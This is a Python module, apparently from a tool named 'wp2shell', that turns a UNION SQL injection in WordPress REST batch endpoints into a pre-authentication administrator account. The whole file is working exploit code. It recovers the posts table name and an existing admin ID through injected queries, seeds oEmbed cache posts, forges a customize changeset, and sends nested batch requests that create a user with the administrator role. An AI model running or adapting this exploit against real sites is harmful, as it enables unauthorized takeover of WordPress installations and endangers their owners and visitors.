"""SQLi-to-admin bridge for vulnerable WordPress batch endpoints.""" from __future__ import annotations import hashlib import json import re import secrets import urllib.error import urllib.parse import urllib.request import uuid from dataclasses import dataclass from typing import Dict, Iterable, List, Optional from .client import BatchClient, TargetError from .sqli import UnionSQLi _POST_DATE = "2020-01-01 00:00:00" _OEMBED_SIZE = 'a:2:{s:5:"width";s:3:"500";s:6:"height";s:3:"750";}' _ADMIN_PREFIX = "wp2_" _PASSWORD_PREFIX = "Wp2!" _EMAIL_DOMAIN = "wp2shell.invalid" _NAV_URL = "https://example.invalid/" @dataclass class CreatedAdmin: username: str password: str email: str source_admin_id: int table_prefix: str def mysql_hex(text: str) -> str: return f"0x{text.encode().hex()}" if text else "''" def wp_posts_tuple( row_id: int, *, body: str = "", title: str = "", status: str = "publish", slug: str = "", parent: int = 0, kind: str = "post", author: int = 1, ) -> str: """Build the full ``wp_posts`` SELECT-list used by the UNION primitive.""" columns = [ str(row_id), str(author), mysql_hex(_POST_DATE), mysql_hex(_POST_DATE), mysql_hex(body), mysql_hex(title), "''", mysql_hex(status), mysql_hex("closed"), mysql_hex("closed"), "''", mysql_hex(slug), "''", "''", mysql_hex(_POST_DATE), mysql_hex(_POST_DATE), "''", str(parent), "''", "0", mysql_hex(kind), "''", "0", ] return ",".join(columns) class PreAuthAdminCreator: """Turn the confirmed UNION fake-post primitive into a generated administrator.""" def __init__( self, base_url: str, *, timeout: float = 30.0, rest_route: bool = False, proxy: Optional[str] = None, user_agent: str = "wp2shell", ) -> None: self.base_url = base_url.rstrip("/") self.timeout = timeout self.rest_route = rest_route self.client = BatchClient( base_url, timeout=timeout, rest_route=rest_route, proxy=proxy, user_agent=user_agent, ) handlers = [urllib.request.ProxyHandler({"http": proxy, "https": proxy})] if proxy else [] self.http = urllib.request.build_opener(*handlers) self.http.addheaders = [("User-Agent", user_agent)] def create_admin(self) -> CreatedAdmin: sqli = UnionSQLi(self.client) if not sqli.available(): raise RuntimeError("UNION fake-post primitive is not available on this target") nonce = secrets.token_hex(6) loopback_embeds = self._loopback_embed_urls(nonce) self._prime_oembed_posts(loopback_embeds) posts_table = self._posts_table(sqli) table_prefix = posts_table[:-5] source_admin_id = self._first_admin_id(sqli, table_prefix) backing_ids = self._oembed_backing_ids(sqli, posts_table, loopback_embeds) username = f"{_ADMIN_PREFIX}{nonce}" password = f"{_PASSWORD_PREFIX}{secrets.token_urlsafe(15)}" email = f"{username}@{_EMAIL_DOMAIN}" self._submit_user_write( backing_ids, loopback_embeds, source_admin_id, {"username": username, "password": password, "email": email, "roles": ["administrator"]}, ) return CreatedAdmin(username, password, email, source_admin_id, table_prefix) def _posts_table(self, sqli: UnionSQLi) -> str: table_name = sqli.extract( "SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES " "WHERE TABLE_SCHEMA=DATABASE() AND RIGHT(TABLE_NAME,6)=0x5f706f737473 " "ORDER BY CHAR_LENGTH(TABLE_NAME),TABLE_NAME LIMIT 1" ) if not re.fullmatch(r"[A-Za-z0-9_$]+", table_name): raise RuntimeError("could not recover wp_posts table name") return table_name def _first_admin_id(self, sqli: UnionSQLi, table_prefix: str) -> int: capabilities_key = mysql_hex(table_prefix + "capabilities") serialized_admin_cap = mysql_hex('s:13:"administrator";b:1;') admin_id = sqli.integer( f"SELECT u.ID FROM `{table_prefix}users` u " f"JOIN `{table_prefix}usermeta` m ON m.user_id=u.ID " f"WHERE m.meta_key={capabilities_key} AND INSTR(m.meta_value,{serialized_admin_cap})>0 " "ORDER BY u.ID LIMIT 1" ) if admin_id < 1: raise RuntimeError("could not find an existing administrator ID") return admin_id def _loopback_embed_urls(self, nonce: str) -> List[str]: base_link = self._first_embeddable_link() split = urllib.parse.urlsplit(base_link) return [ urllib.parse.urlunsplit((split.scheme, split.netloc, split.path, split.query, f"{nonce}{i}")) for i in range(3) ] def _first_embeddable_link(self) -> str: """Return a published, public permalink to seed the oEmbed cache from. Any singular public post or page works: rendering ``[embed]`` makes WordPress create the backing ``oembed_cache`` posts. A default install always qualifies -- ``wp_install_defaults()`` publishes both the "Hello world!" post and the "Sample Page" -- so this normally hits the first route; the page fallback covers the rare posts-less site. """ for route in ("/wp/v2/posts", "/wp/v2/pages"): try: with self._open_rest(route, {"per_page": "1", "_fields": "link"}) as response: items = json.loads(response.read()) except urllib.error.HTTPError: continue # route disabled/restricted -> try the next one if items and items[0].get("link"): return items[0]["link"] raise RuntimeError( "no public post or page found to seed the oEmbed cache " "(need at least one published post or page)" ) def _prime_oembed_posts(self, embed_urls: Iterable[str]) -> None: content = "".join(f'[embed width="500" height="750"]{url}[/embed]' for url in embed_urls) self._render_union_posts([wp_posts_tuple(0, body=content, title="seed", slug="seed")]) def _oembed_backing_ids(self, sqli: UnionSQLi, posts_table: str, embed_urls: Iterable[str]) -> List[int]: ids = [] for embed_url in embed_urls: cache_name = hashlib.md5((embed_url + _OEMBED_SIZE).encode()).hexdigest() ids.append( sqli.integer( f"SELECT ID FROM `{posts_table}` " "WHERE post_type=0x6f656d6265645f6361636865 " f"AND post_name=0x{cache_name.encode().hex()} " "ORDER BY ID DESC LIMIT 1" ) ) if any(row_id < 1 for row_id in ids) or len(set(ids)) != 3: raise RuntimeError("could not recover three unique oEmbed cache post IDs") return ids def _submit_user_write( self, backing_ids: List[int], embed_urls: List[str], source_admin_id: int, user_body: Dict[str, object], ) -> None: graph = _PoisonGraph(backing_ids, source_admin_id) rows = graph.rows(self._changeset_payload(graph.nav_item_id, source_admin_id), embed_urls[1]) self._render_union_posts( rows, tail_requests=[ {"method": "POST", "path": "/wp/v2/users", "body": user_body}, {"method": "POST", "path": "/wp/v2/users", "body": user_body}, ], ) def _changeset_payload(self, nav_item_id: int, user_id: int) -> str: return json.dumps( { f"nav_menu_item[{nav_item_id}]": { "type": "nav_menu_item", "user_id": user_id, "value": { "object_id": 0, "object": "", "menu_item_parent": 0, "position": 0, "type": "custom", "title": "generated", "url": _NAV_URL, "target": "", "attr_title": "", "description": "", "classes": "", "xfn": "", "status": "publish", "nav_menu_term_id": 0, "_invalid": False, }, } }, separators=(",", ":"), ) def _render_union_posts(self, post_rows: List[str], tail_requests: Optional[List[dict]] = None) -> None: union_payload = "1) AND 1=0 UNION ALL SELECT " + " UNION ALL SELECT ".join(post_rows) + " -- -" requests = [ {"method": "GET", "path": "http://:"}, { "method": "GET", "path": "/wp/v2/widgets?" + urllib.parse.urlencode( { "author_exclude": union_payload, "per_page": -1, "orderby": "none", "context": "view", } ), }, {"method": "GET", "path": "/wp/v2/posts"}, ] if tail_requests: requests.extend(tail_requests) self._nested_batch(requests, timeout=60) def _nested_batch(self, requests: List[dict], *, timeout: float) -> None: original_timeout = self.client.timeout self.client.timeout = timeout try: response = self.client.post( { "requests": [ {"method": "POST", "path": "http://:"}, {"method": "POST", "path": "/wp/v2/posts", "body": {"requests": requests}}, {"method": "POST", "path": "/batch/v1"}, ] } ) finally: self.client.timeout = original_timeout if response.status >= 400: raise TargetError(f"batch request returned HTTP {response.status}") def _open_rest(self, route: str, query: Dict[str, str]): if self.rest_route: params = {"rest_route": route, **query} url = f"{self.base_url}/?" + urllib.parse.urlencode(params) else: url = f"{self.base_url}/wp-json{route}?" + urllib.parse.urlencode(query) try: return self.http.open(url, timeout=self.timeout) except urllib.error.HTTPError: raise except OSError as exc: reason = getattr(exc, "reason", exc) raise TargetError(f"cannot reach {url}: {reason}") from None @dataclass class _PoisonGraph: cache_post_ids: List[int] source_admin_id: int def __post_init__(self) -> None: self.outer_id = 1800000000 + secrets.randbelow(100000000) self.nav_item_id = self.outer_id + 1 self.inner_id = self.outer_id + 2 self.changeset_id, self.cache_id, self.request_id = self.cache_post_ids def rows(self, changeset: str, trigger_embed_url: str) -> List[str]: return [ wp_posts_tuple( 0, body=f'[embed width="500" height="750"]{trigger_embed_url}[/embed]', title="trigger", slug="trigger", ), wp_posts_tuple( self.changeset_id, body=changeset, title="changeset", status="future", slug=str(uuid.uuid4()), parent=self.outer_id, kind="customize_changeset", ), wp_posts_tuple( self.outer_id, body="outer", title="outer", status="draft", slug="outer", parent=self.changeset_id, ), wp_posts_tuple( self.cache_id, title="cache", slug="cache", parent=self.changeset_id, ), wp_posts_tuple( self.nav_item_id, body="nav", title="nav", slug="nav", parent=self.request_id, kind="nav_menu_item", ), wp_posts_tuple( self.request_id, body="parse", title="parse", status="parse", slug="parse", parent=self.inner_id, kind="request", ), wp_posts_tuple( self.inner_id, body="inner", title="inner", status="draft", slug="inner", parent=self.request_id, ), ]